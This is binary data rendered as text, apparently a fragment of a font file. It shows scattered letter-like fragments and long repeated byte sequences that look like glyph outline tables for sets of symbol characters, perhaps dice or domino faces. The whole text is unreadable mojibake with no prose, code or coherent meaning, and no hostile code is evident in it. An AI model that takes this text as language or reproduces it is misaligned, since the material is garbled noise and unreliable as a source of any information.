)#���58���"�~b_6A�dYfԶ���������7��33	3#	7"��s��޴��y���^�+���_�C�W�6."26$#&'.>2�0o��`0o���qGK{�{D:\P/���Q�|HH|�}HHL�;%��w%<���yy�5o�##63 7676'&#"k51����}�R�"�~��	��va�*0����N$�\��osr��lXR��/�			��^������gL�������^^���J�%#%7JY�Nݴ�?Z��������5.�#3�g�(m�"������\��k�	7			'Q�ɩ	���7������b��_b�]�Xbd��b���$!#7&'&76?3676'&��(�i�Y���'�'�h�Y�����dZ�<X=�e�dZ�W<���Ǣ������9����0Ll2lK�H�Ln��nL���!#73������^�^cg��~������R����%6&"2$ &767&'&$ 6&"2�"c��"c�9���>�8<2&\?B�>�8<2&\]"c��"c� �{{�{1��Bs/.rC��s/.rî{{�{5"�
3632!2$76&#"5"����$(�}������*1����gNvc�9����
3 #"'032676&[��
,)%���2a/*����g�н����cvSM�7!3#S#���޴�����+��1�	#7"&>21������&btBbtB��N�@��&��RRtRR��7
�����#�'3#K����#��N@&������k��n1�	#nRq��>��,�;���X������!5!5!)5!���S2S����R���������=�'��]jC���7�'kF��X���:�
'j:�b���;�
'�bk<���=�
'�b��]���tH'j'j�&jj����tH&k'j'j�j�����H'j'j�'j��� ���tH'k�'j&jj����tH&k'j'j�k�����H'�� 'j�'jk�����H'j'j�&��j����H'j'j�&��k����H&��'j�'j�� ���tH'j�&j'j�k���tH&k'j�'j�k����H'k'j�'j��� ���tH'j�'k'k�j���tH'k�'k'j�k����H'j�'k'k��� ����H&j'k'j�������H'k'j�&k������H'�� 'k'j�������H'j�&j'j�� ����H'� 'j�'j�k����H'j�'j�'� �� ����H'� &j'j�k�����H'k�'j�&k� ����H'k�'j�'�� � ����H&j&��'j�� ����H&k&��'j�� ����H'�� 'j�&��� ���tH&j'j�'jk����tH'j�'j&kk�����H'�� 'j�'jk����tH&j'j'k�k����tH'k�'j&kk�����H'k�'j'�� k�����H&j&��'jk�����H&k&��'jk�����H'�� 'j&��k����tH'k'j�&jk����tH'k'j�&kk�����H'�� 'j�'kk����tH&j'k�'kk����tH&k'k'k�k�����H'�� 'k�'kk�����H&��'k&jk�����H&��&k'kk�����H&��'k'�� k�����H'� 'j�&jk�����H&k'j�'� k�����H'�� '� 'j�k�����H'k�&j'� k�����H'� &k'k�k�����H'� '�� 'k�k�����H'� &��&jk�����H'� &��&kk�����H'� &��'�� k�����H'j'j�&j������H&k'j'j�������H'j'j�'�� ������H'k�'j&j������H&k'j'k�������H'�� 'j'k�������H'j&��&j������H'j&��&k������H&��'j'�� ������H&j'j�'k������H&k'j�'k������H'k'j�'�� ������H'k'k�&j������H'k�'k&k������H'k'k�'�� ������H&j'k&��������H'k&k&��������H'�� 'k&��������H&j'j�'� ������H'� 'j�&k������H'j�'� '�� ������H'� &j'k�������H'k�&k'� ������H'k�'�� '� ������H&j&��'� ������H&k&��'� ������H'�� &��'� ����#3	!!#!]���W:�\����w9��8q��q�+��_����N� %*!2#!327&#363&#!3654/654'�f������;33;��$  $���#��>�����]a�����{w�����
�D��D�6��6�3�! )327&#!36'����h�P���c�����p���������~��q��A�A��
�k�{q��S�3%!!!!!!-��x��9��vq��
dd��d�sd���	
!!!!!#3�#�oQ���n.���d��d�q��s����&&$#"32767!5!# !2d��������eV�Ru����u�^�o�R���aG@�;@&5�d�SU�mn�HF�cI������f��3%!#3!53#.�nXdd��ddq��
dd��dd
���fY�6765%!#!53265-V�?O������?�nq���d
J^�	d�����d���0�
!3	#!3���������pd���w�@���1q��
�2�	!!!3����d���do��
�o�!#!!	!3!3�_G�b�n�}����q��R�����+q��
��
r����'( ! '&76 7& 676'&&:������ż���Glll��li$ �� �#��������������ab���22�22�jT%����%5��$�c�$�������-6&/.4%&  %5 64&/.$ Pd��o��&���n���Ţm�n������g�z�oʷ�-[�ʚ)'���NXd�''��pu��i$2�X�f|���� /�������3%!!!!r�����p��q��
dd��q�����
$!&%! 65! �X!��!Y���� �����f��q����ba@����`|gd�5�����\���*$��
3%!	3!��������d���q��
d��+D��	3!3%!	!	3!	!�D���5D�����:9�:9d���|����q��
��
d���+��l�	3%!	3	!	#(\���~�v�b�L:�H���|d�q��
d��2����2��{����	3!!	#3n�d��p�����2�����9�����V��{���{",34&'3!5#"&546;54&#"5>3 5#">76/�=K�d��?�V����u�`�Tw�8���6/^b;:�gC�zӆ]��Y���fa����H�..t''���U��NHG��g�wt���-!>32#"&'!4'&'676763&#"327�N:�|����|�:��^,<<,9�R���KM_]���da����ad�t��= �z =OsK��T�dihtJ����q���{#%#"!2&'&#"3276%�M�]���-U�LEmGJXHCQRHV�,${z$�d$$>:##d�WS%���&���-!!5#"323327654'&'&#"�N��:�|���|��v9,<<,^(����]_MK��^��daDDa�Z�KsO= � =����T�d�6����Jthio��}{!327# 32!.#"}��K_��m�k���)���#��i̩J@�b]u-)8
C��qz���Ӿ�/�
 3476%#"!!!#5354763g.9��:9��|����WX��
-8���J_D8�d97�dd��dd�TVq�V�{#.=65326=#"325!!"&32767654'&#"j�lQ�R��:�|���|�:N���r�y^,<<,9/�KM_]���=ʌ�o���,*��qdaDDad��-���w��= � =OsK��ihtJ�����H
"34'&3'!>32!4&#"!	G�S5�‡�OIƁ���kk����
h���@�[:���Ld��ed��\П����U�533#!!J����KO����h������V#676#532765!3#��%G(=��1l$%OQRa���еT0H�d01�����``���2
!3	#!3�O���Hі�m��d��i���#�����L��&5#"'&5!3J=(G%���RQOLi��H0T�0�Z``�~�J�^d��{"&1<!>32>32!4&#"!4&#"!3%34'&%34'&�OIƁԝTށ���kk����kk����d�[	G�S5�	G�S5`�ed�J�v��\П����\П����U��h�h���@�[:h���@�[:�H{
"34'&%3'!>32!4&#"!	G�S5�‡�OIƁ���kk����
h���@�[:�h�d�ed��\П����Uq��u{#2#"27&"676'&s�������3x33x3d4'pp'�3(pp({�����98����kp-��$�-R��-�ۀ-q�V�{-%!!>32#"&4'&'&'676#&#"32���N:�|����|��9,<<,^�؆�]_MK�����da����a��KsO= �z =��oH��������Jthiq�V�{-%#"325!!3#32767654'&#"�:�|���|�:N���<^,<<,9(����KM_]��daDDad������= � =OsK�2H�HihtJ������{3'!>32.#"!��N:��4I,������h�d�fc�˾�zo���{E67654'&/&'&5432654&/.54632.#"#"&'i'K&'q4�=B%%U+.�3�9G�S�OjqL�4�v��f�LJ\_opPx3����Z�l�=vf03"3;@{R?Bsl37'*7CoT��78^UNO,,���� z1$YXDL#/����%%7��%&7#!!;!"&5#53�*�\�{��Ks���բ��jU|��7�N(��d�U�Nd��udT���D`
"%&'&5##!5#"&5!3265!�	G�S5C��IƁ��Tkk��TSh�l���[:��hd�ed����0�����=�`
3%!	3!�Y�����T^^d�\����h�d�T���V�`3!3%!!3!!���b��T��N��d��������h��h�d��j��j����jL`	3%!	3	!	#���U���|���p���|[��h�d���-�s���=�V�`7%!	3+53267��>����^]_l�P�|��XQ+��ۙ�d��i�8�{dCYXb`
	3%!!!5!\�v�����w��������h�dd�hdd�������$��7�%��V����&��7��'��7
�(��7��)��\����*��7��+����������f!�-��7��.��7��/��7��0��7��1��R����2��7��3��T����4��7��5������6��Xh�7��w����8�����9���)�:������;���h�<������=��T��`{D��J���E��^��J{F��^��G��^���{H����I��B�V�{J��H�K��H/L����V7M��H�N���/���H?{P��H�{Q��^���{R�����V�{S��^�Z�{T��H�{U����{V���b�W��u���`X����`Y����`Z�����`[����V�`\����X`]�����  6/&"27��
���
�����d3{44{3�����s�
�s��#��Տ0�����,�-�k��37!!5!5%6�bJ��J��gq��
d��dd
HdH���(7!676'&'$32!!7676&#"�)`"LlDbZE�����0Q]��(���=y�m��d͕@�9\9p�d���9h��b����iddAb������s�$*0"'5327&+5327&#"56325654&'>54+��!ĪeO6?��;2:L�����������uWEdJjD�
d 
<h@Ѳ|�!Ő��U�l�$��yX�Z��#3	!!3#!!5����Q�����p��q������3d�\������#66'&#"!!!"'532��g���d1j��K�E����н܁����\�`�I�
K�d�#	��F�<�dq����	%%6'27&"2'& 632# |��&��d:�-(�?�"���^Bh�����Ppc\ʳ���#�2"�<j6-�f��/�����A��
	3%!!!��
������S�q��
dd��q�����$)19A%6'&'5.54$  $54627&"27&"676'&X���_!,, L�����������������51p11p10r00r, `_!dJ��N'��M��� ����г�� #ŏ���ُ�lfN��a����0!�MMj����	%6/&"27"'5 7#"3 ������d:�-(�?�"�*^Bh����!��cc���\�6�oݕ2���t<j6-���s�%�[�F
!;3#!.����	Y_�$���F
!;7!'!%3�	Y���ٍF����%��=�F
!;"4767632"'&'&!'!%30&$I��	Y���ٍ�$$%������%��=�F
!;,048"'&'&4767632"'&'&4767632!'!%3�$$%��$%$�	Y���ٍ?H%$HG������%��=�F
!;+AEIM"'&'&4767632"'&'&476762"'&'&4767632!'!%3�$$%��$H��$%$�	Y���ٍ?H%$	JHHG������%��=�F
!;+AW[_c476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3'H$%$%H��H$%$%H��	Y���ٍ�$J��J%$J%$S$J������%��=�F
!;+AWnrvz476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3'H$%$%H��H$%$%H��&$I��	Y���ٍ�$J��J%$J%$S$J�$$%������%��=	�F
!;*@Ui���"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�$H%$H��J&$UJHJH�~J&$�	Y���ٍRHJ��%$HG$$%$H��GH%$H������%��=�F
!;!476762"'&'&!'!%3�JH��	Y���ٍ�$$%������%��=�F
!;,048476762"'&'&%4767632"'&'&!'!%3�JHd&$I��	Y���ٍ�$$%%$$%������%��=�F
!;,BFJN476762"'&'&"'&'&4767632"'&'&4767632!'!%3�JH�$$%��$%$�	Y���ٍ�$$%��H%$HG������%��=�F
!;,AW[_c476762"'&'&"'&'&4767632"'&'&476762"'&'&4767632!'!%3�JH�$$%��$H��$%$�	Y���ٍ�$$%��H%$	JHHG������%��=�F
!;+AWmquy476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��	Y���ٍ�$$%.$J��J%$J%$S$J������%��=	�F
!;+AWm����476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��&$I��	Y���ٍ�$$%.$J��J%$J%$S$J�$$%������%��=
�F
!;*@Vk����476762"'&'&%"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�JH�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�$$%�HJ��%$HG$$%$H��GH%$H������%��=�F
!;+/37"'&'&4767632"'&'&5476762!'!%3rJ%$��$J�m	Y���ٍ@H$%$%H������%��=�F
!;"8N4767632"'&'&!'!%3"'&'&4767632"'&'&54767620&$I��	Y���ٍ��J%$��$J�$$%������%��=H$%$%H�F
!;,048Nd"'&'&4767632"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$%$�	Y���ٍ��J%$��$J?H%$HG������%��=H$%$%H�F
!;+AEIMcy"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$H��$%$�	Y���ٍ��J%$��$J?H%$	JHHG������%��=H$%$%H	�F
!;)>SW[_t�476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3"'&'&4767632"'&'&476762'HIIH��HIIH��	Y���ٍ��I%$��$I�$I��I%$I%$S$I������%��=HIIH
�F
!;+AWnrvz��476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&4767632"'&'&5476762'H$%$%H��H$%$%H��&$I��	Y���ٍ��J%$��$J�$J��J%$J%$S$J�$$%������%��=H$%$%H�F
!;*@Ui�����"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&4767632"'&'&5476762�$H%$H��J&$UJHJH�~J&$�	Y���ٍ��J%$��$JRHJ��%$HG$$%$H��GH%$H������%��=H$%$%H�F
!;+AEIM"'&'&4767632%"'&'&4767632"'&'&5476762!'!%3rJ%$��$$%��$J�m	Y���ٍ@H$%�JI	$%H������%��=�F
!;+AX\`d"'&'&4767632%"'&'&4767632"'&'&54767624767632"'&'&!'!%3rJ%$��$$%��$J�&$I��	Y���ٍ@H$%�JI	$%H�$$%������%��=�F
!;+AXnrvz"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$%$�	Y���ٍ@H$%�JI	$%H��H%$HG������%��=	�F
!;+AXm����"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&476762"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$H��$%$�	Y���ٍ@H$%�JI	$%H��H%$	JHHG������%��=
�F
!;+AWm�����"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J������%��=�F
!;+AWm������"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��&$I��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�F
!;+AVl�������"'&'&4767632%"'&'&4767632"'&'&5476762!"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3rJ%$��$$%��$JI$H%$H��J&$UJHJH�~J&$�	Y���ٍ@H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�F
!;)>SW[_476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3�HIIH��HIIH��	Y���ٍ�$I��I%$I%$S$I������%��=�F
!;!6K`u4767632"'&'&!'!%3476762"'&'&476762"'&'$476762"'&'476762"'&'&0&$I��	Y���ٍ�HIIH��HIIH�$I������%��=m$I��I%$I%$S$I	�F
!;,048Ndz�"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$HG������%��=m$J��J%$J%$S$J
�F
!;+AEIMcy��"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$	JHHG������%��=m$J��J%$J%$S$J�F
!;+AW[_cy���476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�F
!;+AWnrvz����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J
�F
!;*@Ui�������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%HRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�F
!;!7Mcy7!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�	Y���ٍ�H$%$%H��H$%$%H��JHF����%��=m$J��J%$J%$S$J�$$%	�F
!;"8Ndz�4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&0&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$$%������%��=m$J��J%$J%$S$J�$$%
�F
!;,048Ndz��"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$HG������%��=m$J��J%$J%$S$J�$$%�F
!;+AEIMcy���"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$	JHHG������%��=m$J��J%$J%$S$J�$$%�F
!;+AW[_cy����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%
�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%H��JHRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%	�F
!;":Pf|�7!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$F����%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;"9Qg}��4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&547676320&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;,048Og}���"'&'&4767632"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AEIMd|����"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$H��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;+AW[_cz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&5476762"'&'&5476762 "'&'&4767632"'&'.76762"'&'.76762"'&'&4767632�$H%$H��I&$UIHIH�}I&$�	Y���ٍ��$I%$I��I%$0$H%$H��I%$RHI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH��m!5!!��$����f����m!!7!!!!�����%��=m���?�'���m"2#"'&'&47676!!7!!!!E$$%������%��=&$Ih���?�'���m+/37476762#"'&'&476762"'&'&!!7!!!!�H%$HG������%��=|$I;$%$����?�'���m+AEIM476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H%$	JHHG������%��=|$$%2$H.$%$����?�'���m+AW[_c2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!N$J��J%$J%$S$J������%��=H$%��$%H"H$%��$%Hq���?�'���m+AWnrvz2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!N$J��J%$J%$S$J�$$%������%��=H$%��$%H"H$%��$%H	&$Ih���?�'�	��m*@Ui���%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�HJ��%$HG$$%$H��GH%$H������%��=�$H%$H3J&$��JHJH�J&$��?�'���m!2#"'&'&47676!!7!!!!E$$%������%��=kJH���?�'���m,0482#"'&'&476762#"'&'&47676!!7!!!!E$$%%$$%������%��=iJH��&$Ih���?�'���m,BFJN2#"'&'&47676476762#"'&'&476762"'&'&!!7!!!!E$$%��H%$HG������%��=kJH�$$%;$%$����?�'���m,AW[_c2#"'&'&47676476762#"'&'&476762"'&'&476762"'&'&!!7!!!!E$$%��H%$	JHHG������%��=kJH�$$%2$H.$%$����?�'���m+AWmquy2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J������%��=kJH��H$%��$%H"H$%��$%Hq���?�'�	��m+AWm����2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J�$$%������%��=kJH��H$%��$%H"H$%��$%H	&$Ih���?�'�
��m*@Vk����2#"'&'&47676476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!E$$%�HJ��%$HG$$%$H��GH%$H������%��=kJH�&$H%$H3J&$��JHJH�J&$��?�'���m+/37476762#"'&'4767632"'&'&!!7!!!!�H$%$%H������%��=�J%$S$J����?�'���m"8N2#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&E$$%������%��=H$%$%H&$Ih���?�'�IJ%$S$J��m,048Nd476762#"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$HG������%��=H$%$%H|$$%;$%$����?�'�IJ%$S$J��m+AEIMcy476762#"'&'&476762"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$	JHHG������%��=H$%$%H|$$%2$H.$%$����?�'�IJ%$S$J	��m+AW[_cy�2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J������%��=H$%$%HH$%��$%H"H$%��$%Hq���?�'�IJ%$S$J
��m+AWnrvz��2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J�$$%������%��=H$%$%HH$%��$%H"H$%��$%H	&$Ih���?�'�IJ%$S$J��m*@Ui�����%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!476762#"'&'4767632"'&'&�HJ��%$HG$$%$H��GH%$H������%��=H$%$%H�$H%$H3J&$��JHJH�J&$��?�'�IJ%$S$J��m+AEIM476762#"'&'476762"'&'&4767632"'&'&!!7!!!!�H$%�JI	$%H������%��=�J%$J$$%.$J����?�'���m+AX\`d476762#"'&'476762"'&'&4767632"'&'&2#"'&'&47676!!7!!!!�H$%�JI	$%H�$$%������%��=�J%$J$$%.$J�+&$Ih���?�'���m+AXnrvz476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$HG������%��=�J%$J$$%.$J��$$%;$%$����?�'�	��m+AXm����476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$	JHHG������%��=�J%$J$$%.$J��$$%2$H.$%$����?�'�
��m+AWm�����476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%Hq���?�'���m+AWm������476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%H	&$Ih���?�'���m+AVl�������476762#"'&'476762"'&'&4767632"'&'&476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�J%$J$$%.$J��$H%$H3J&$��JHJH�J&$��?�'���m)>SW[_2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676!!7!!!!N$I��I%$I%$S$I������%��=tHI��IH"HI��IH���?�'���m!6K`u2"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676E$I������%��=m$I��I%$I%$S$I&$Ih���?�'��HI��IH"HI��IH	��m,048Ndz�476762#"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$HG������%��=m$J��J%$J%$S$J|$$%;$%$����?�'��H$%��$%H"H$%��$%H
��m+AEIMcy��476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H��m+AW[_cy���2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$JH$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H��m)>Simqu����2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676N$I��I%$I%$S$I�$I������%��=m$I��I%$I%$S$IHI��IH"HI��IH	&$Ih���?�'��HI��IH"HI��IH
��m*@Ui�������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H��m!7Mcy!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�����%��=m$J��J%$J%$S$J�$$%m���?�'��H$%��$%H"H$%��$%H	JH	��m"8Ndz�2#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676E$$%������%��=m$J��J%$J%$S$J�$$%&$Ih���?�'��H$%��$%H"H$%��$%H	JH
��m+/37Lav��476762#"'&'&476762"'&'&!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676�H%$HG������%��=m$I��I%$I%$S$I�$I|$I;$%$����?�'��HI��IH"HI��IH	JH��m+AEIMcy���476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J�$$%|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H	JH��m+AW[_cy����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H	JH
��m+AWnrvz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%H	&$Ih���?�'��H$%��$%H"H$%��$%H	JH��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H	JH	��m":Pf|�!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�����%��=�%$J��&$$%H$%$%H��H$%$%Hm���?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m"9Qg}��2#"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'E$$%������%��=�%$J��&$$%H$%$%H��H$%$%H&$Ih���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m,048Og}���476762#"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%;$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$��m+AEIMd|����476762#"'&'&476762"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%2$H.$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$
